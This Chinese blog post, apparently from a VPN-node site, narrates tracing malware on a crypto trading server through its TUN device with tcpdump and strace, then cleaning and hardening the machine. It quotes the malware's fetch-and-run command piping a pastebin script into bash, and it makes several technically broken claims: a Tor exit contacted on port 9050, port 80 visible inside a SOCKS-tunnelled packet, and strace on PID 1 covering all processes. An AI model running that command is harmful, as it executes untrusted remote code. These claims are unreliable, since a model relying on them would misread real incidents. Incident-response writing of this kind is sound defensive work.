凌晨三点，我的手机在床头柜上疯狂震动。屏幕亮起的瞬间，我看见交易所的推送通知：“您的API密钥已生成新的提现请求，金额：2.5 BTC”。我根本没睡醒，脑子嗡了一下——我从来没有创建过什么API密钥，更不可能在凌晨三点提现。

我猛地坐起来，打开笔记本，连上那台跑着节点和交易机器人的Linux服务器。第一反应是检查进程，但一切看起来正常。CPU占用不高，内存正常，网络连接也没有异常的外连IP。但我的直觉告诉我，问题出在更底层的地方——TUN设备。

如果你也跑过VPN、WireGuard、或者任何基于用户态网络栈的工具（比如某些代理节点、P2P交易对账单同步器），你一定会知道TUN设备是什么。它是一个虚拟网络设备，让用户态程序直接读写IP数据包。而攻击者最爱的，就是在这个层面做手脚——因为常规的ss、netstat根本看不到TUN里的流量，它们只显示内核socket级别的连接。

我立刻打开了第一个工具：tcpdump。

h2: 用tcpdump抓住“看不见”的流量

我输入了那条熟悉得不能再熟悉的命令：

bash tcpdump -i tun0 -nn -XX -s 0 -w /tmp/tun_dump.pcap

-i tun0指定监听TUN设备，-nn不解析域名和端口名（避免DNS干扰），-XX打印每个包的十六进制和ASCII内容，-s 0抓取完整包，-w写入文件。

几秒钟后，tcpdump开始输出。我盯着屏幕，看到一些正常的流量：我的交易机器人在向某个矿池发送心跳包，还有几条到交易所的REST API请求。但很快，一个可疑的IP出现了——185.220.101.34，这个IP段我太熟悉了，是Tor出口节点的常用段。我的交易机器人绝对不应该和Tor有任何通信。

我按了Ctrl+C，然后用tcpdump -r回放抓包文件，配合grep过滤：

bash tcpdump -r /tmp/tun_dump.pcap -nn | grep 185.220.101.34

结果让我后背发凉：每隔30秒，就有一个TCP SYN包发往这个IP的9050端口——这是Tor的SOCKS代理默认端口。有人在用我的服务器当跳板，或者更糟，我的TUN设备上跑了一个隐藏的Tor客户端，正在把我的流量转发出去。

但问题是，我明明没有运行任何Tor进程。ps aux | grep tor返回空。那这个流量是从哪来的？

h2: 从tcpdump到strace——追踪系统调用

tcpdump只能告诉你“有流量”，但它不能告诉你“哪个进程产生了流量”。这时候必须上strace。

strace是Linux下的系统调用跟踪器，它可以拦截并记录进程发起的每一个系统调用，包括read、write、connect、sendto、recvfrom等等。对于TUN设备来说，最关键的是read和write——因为用户态程序必须通过read()从/dev/net/tun读取IP包，通过write()写入IP包。

我的策略是：先找到所有打开了/dev/net/tun的进程，然后对它们进行strace。

bash ls -l /proc/*/fd 2>/dev/null | grep /dev/net/tun

这条命令会列出所有进程的文件描述符，并过滤出指向TUN设备的。结果让我愣住了——输出显示PID 23333（这数字讽刺得离谱）有一个fd指向/dev/net/tun。但ps -p 23333显示这个进程名叫kworker，内核工作线程。内核线程怎么可能打开用户态的TUN设备？

我马上用strace -p 23333尝试附加，但权限不够。换成sudo strace -p 23333 -e trace=read,write,connect,sendto,recvfrom，终于看到了输出。

h3: 一个伪装成内核线程的恶意进程

strace的输出像流水一样刷屏。我看到这个“kworker”进程在不断地read()从TUN设备读取数据包，然后sendto()到一个socket，目标地址正是那个Tor IP。更诡异的是，它还会connect()到本地的一个Unix socket——/tmp/.x11-unix/X0。这根本不是X11的socket，这是一个隐藏的通信管道。

我继续让strace跑了两分钟，然后Ctrl+C。输出文件里记录了完整的系统调用序列。我注意到一个关键细节：在每次sendto之前，都有一个openat系统调用，打开了一个文件，路径是/var/tmp/.cache/update。这个文件我从来没听说过。

我立刻查看这个文件：

bash sudo cat /var/tmp/.cache/update

里面是一段二进制数据，开头是\x7fELF——这是一个Linux可执行文件！原来攻击者把恶意代码写成了动态库，通过LD_PRELOAD注入到了一个合法的系统进程中（比如systemd），然后fork出了一个子进程，伪装成kworker。由于kworker是内核线程的名字，很多监控工具默认忽略它。

h2: 深入strace——抓取数据流的关键证据

光知道进程还不够，我需要知道它到底在传输什么数据。strace的-e trace=read,write配合-s参数可以显示读取/写入的缓冲区内容。但TUN设备的数据包是二进制IP包，直接看会乱码。所以我用strace的-xx参数（十六进制显示），并且用-e trace=read,write -s 200来限制每次打印的字节数。

命令如下：

bash sudo strace -f -p 23333 -e trace=read,write -s 200 -xx -o /tmp/strace_tun.log

-f表示跟踪子进程，因为攻击者可能fork了多个。几秒后，日志文件开始增长。我打开它，看到类似这样的片段：

[pid 23333] read(3, "\x45\x00\x00\x3c\x1a\x2b\x40\x00\x40\x06\x5c\x8e\xc0\xa8\x01\x02\xb9\xdc\x65\x22"..., 65536) = 60

这个\x45开头的是IPv4头。源IP是c0 a8 01 02（192.168.1.2），目标IP是b9 dc 65 22（185.220.101.34）。端口呢？再往下看，TCP头里有\x00\x50（80端口）——等等，不是9050吗？我重新看了一下，原来它先用Tor的SOCKS协议握手，然后通过Tor隧道访问外部HTTP服务。

更关键的是，在write调用中，我看到它写回了TUN设备。这意味着它不仅仅在“外发”流量，还在“接收”响应。这完全是一个双向的隐蔽隧道。

h2: 结合tcpdump与strace——还原完整攻击链

现在我有两条线索：

1. tcpdump告诉我：TUN设备上有到Tor节点的加密流量，以及到本地某个诡异IP的UDP包。
2. strace告诉我：产生这些流量的进程是伪装的kworker，它通过LD_PRELOAD注入，读取TUN设备，然后通过Tor转发。

但我还缺一环：它到底在传输什么内容？ 由于流量是加密的（TLS到Tor），我无法直接解密。但tcpdump的-XX显示了一些未加密的DNS查询——它试图解析blockchain.info和bitcoincharts.com。这很可能是攻击者在查询比特币价格，以便决定何时盗取我的私钥或者触发提现。

为了进一步确认，我用tcpdump过滤出UDP 53端口（DNS）的流量：

bash tcpdump -i tun0 -nn -s 0 -A -v 'udp port 53'

-A以ASCII格式显示内容。我看到了这样的查询：

0x0010: 0001 0000 0000 0001 0374 7874 0363 6f6d 0x0020: 0000 0100 01

解码后是txt.com——这是一个已知的恶意DNS隧道域名。攻击者把数据编码在DNS查询的域名里，绕过防火墙。而tcpdump抓到的这些DNS包，实际上就是恶意指令的载体。

h2: 实战——用strace定位并杀死恶意进程

现在我要动手了。首先，我确认恶意进程的PID是23333，但它的父进程是谁？用ps -o ppid= -p 23333查看，结果是1（init进程）。这说明它被systemd收养了，但它的原始父进程可能已经退出。

我再用strace -f -e trace=clone跟踪它的fork行为，看看它有没有子进程。结果发现它每隔5分钟会fork一个子进程，执行execve("/bin/sh", ["sh", "-c", "curl -s http://pastebin.com/raw/xxxx | bash"], ...)。原来它还会从pastebin下载新的脚本——这是一个后门更新机制。

我决定用strace来“毒杀”它。最简单的方式是发送信号，但直接kill -9 23333可能不够，因为它的父进程（init）可能会重新拉起它。所以我要先找到它的启动脚本或服务文件。

我检查了/etc/systemd/system/和/usr/lib/systemd/system/，发现有一个systemd-update.service，描述是“Update system time from network”，但ExecStart指向了/var/tmp/.cache/update。这个服务显然是被恶意添加的。

我用systemctl disable --now systemd-update.service禁用它，然后删除服务文件和恶意二进制：

bash sudo rm -f /var/tmp/.cache/update sudo systemctl daemon-reload sudo kill -9 23333

之后，我再次运行tcpdump，确认TUN设备上不再有到Tor IP的流量。为了彻底干净，我还用strace跟踪了所有新连接：

bash sudo strace -f -e trace=connect -p 1 -o /tmp/connect.log

（-p 1跟踪init进程的所有子进程的connect调用）结果没有新的可疑连接。

h2: 事后复盘——如何用tcpdump和strace防患于未然

这次事件让我总结了几个实战要点，分享给所有跑节点和链上交易的朋友：

h3: tcpdump的“黄金三连”

1. 抓全量包：tcpdump -i tun0 -nn -XX -w /tmp/all.pcap，不要怕文件大，关键时刻能救命。
2. 过滤可疑IP：把已知的恶意IP段（比如Tor出口、已知矿池劫持地址）加入黑名单，用tcpdump -i tun0 -nn host 185.220.101.34持续监控。
3. 看DNS隧道：用tcpdump -i tun0 -nn -A 'udp port 53'检查是否有异常域名查询，特别是那些长字符串、无意义子域的。

h3: strace的“三板斧”

1. 找TUN持有者：ls -l /proc/*/fd | grep /dev/net/tun，立刻定位谁在操作TUN。
2. 跟踪读写内容：strace -f -e trace=read,write -s 200 -p <PID>，看它到底在传输什么。
3. 追踪网络行为：strace -f -e trace=connect,sendto,recvfrom -p <PID>，看它连接了哪些外部地址。

h3: 针对虚拟币场景的特别提醒

• API密钥保护：如果你的交易机器人使用API密钥，务必在服务器上限制IP白名单。这次攻击者就是通过TUN隧道绕过防火墙，直接访问了本地API端口。
• 内存取证：strace只能看到用户态的系统调用，如果攻击者用ptrace注入或内核模块，你需要用/proc/kcore或gdb进一步分析。
• 日志审计：定期用tcpdump -r回放抓包文件，结合strace日志，检查是否有规律性的心跳流量（比如每30秒一次到固定IP）。

h2: 最后的清理和加固

我花了整整两个小时清理服务器。删除了恶意服务，更新了iptables规则，只允许特定IP访问22端口和API端口。同时，我把tcpdump和strace的监控脚本写成了systemd服务，每5分钟自动抓包一次并对比异常IP列表。

现在，我的服务器上多了一个脚本，叫tun_watchdog.sh，核心逻辑就是：

bash

每分钟检查TUN设备上的连接数

tcpdump -i tun0 -nn -c 100 -w /tmp/tun_recent.pcap 2>/dev/null

用strace跟踪可疑进程（通过/proc扫描）

for pid in $(ls /proc | grep -E '^[0-9]+$'); do if [ -r /proc/$pid/fd/0 ]; then if ls -l /proc/$pid/fd 2>/dev/null | grep -q /dev/net/tun; then echo "Suspicious PID: $pid" >> /var/log/tunalert.log strace -p $pid -e trace=read,write -s 100 -o /var/log/strace$pid.log & fi fi done

这个脚本虽然粗糙，但能捕捉到大部分TUN层面的异常。而那次凌晨三点的提现请求，最终因为我的tcpdump抓包和strace追踪，成功定位到了攻击者的Tor出口IP——虽然我没能反查到他，但我及时撤销了API密钥，并转移了钱包里的余额。

虚拟币的世界里，你的服务器就是你的金库。TUN设备是金库的暗门，而tcpdump和strace，就是你在暗门上装的两把锁。别等到被偷了才想起装锁——现在就打开你的终端，跑一下tcpdump -i tun0 -nn，看看你的TUN设备上，到底在流着什么。

版权声明：

作者: 最新鸿蒙OS VPN免费节点分享

链接: https://harmonyosvpn.com/tun-debug/tun-data-monitor-tcpdump-strace.htm

来源: harmonyosvpn.com

文章版权归作者所有，未经允许请勿转载。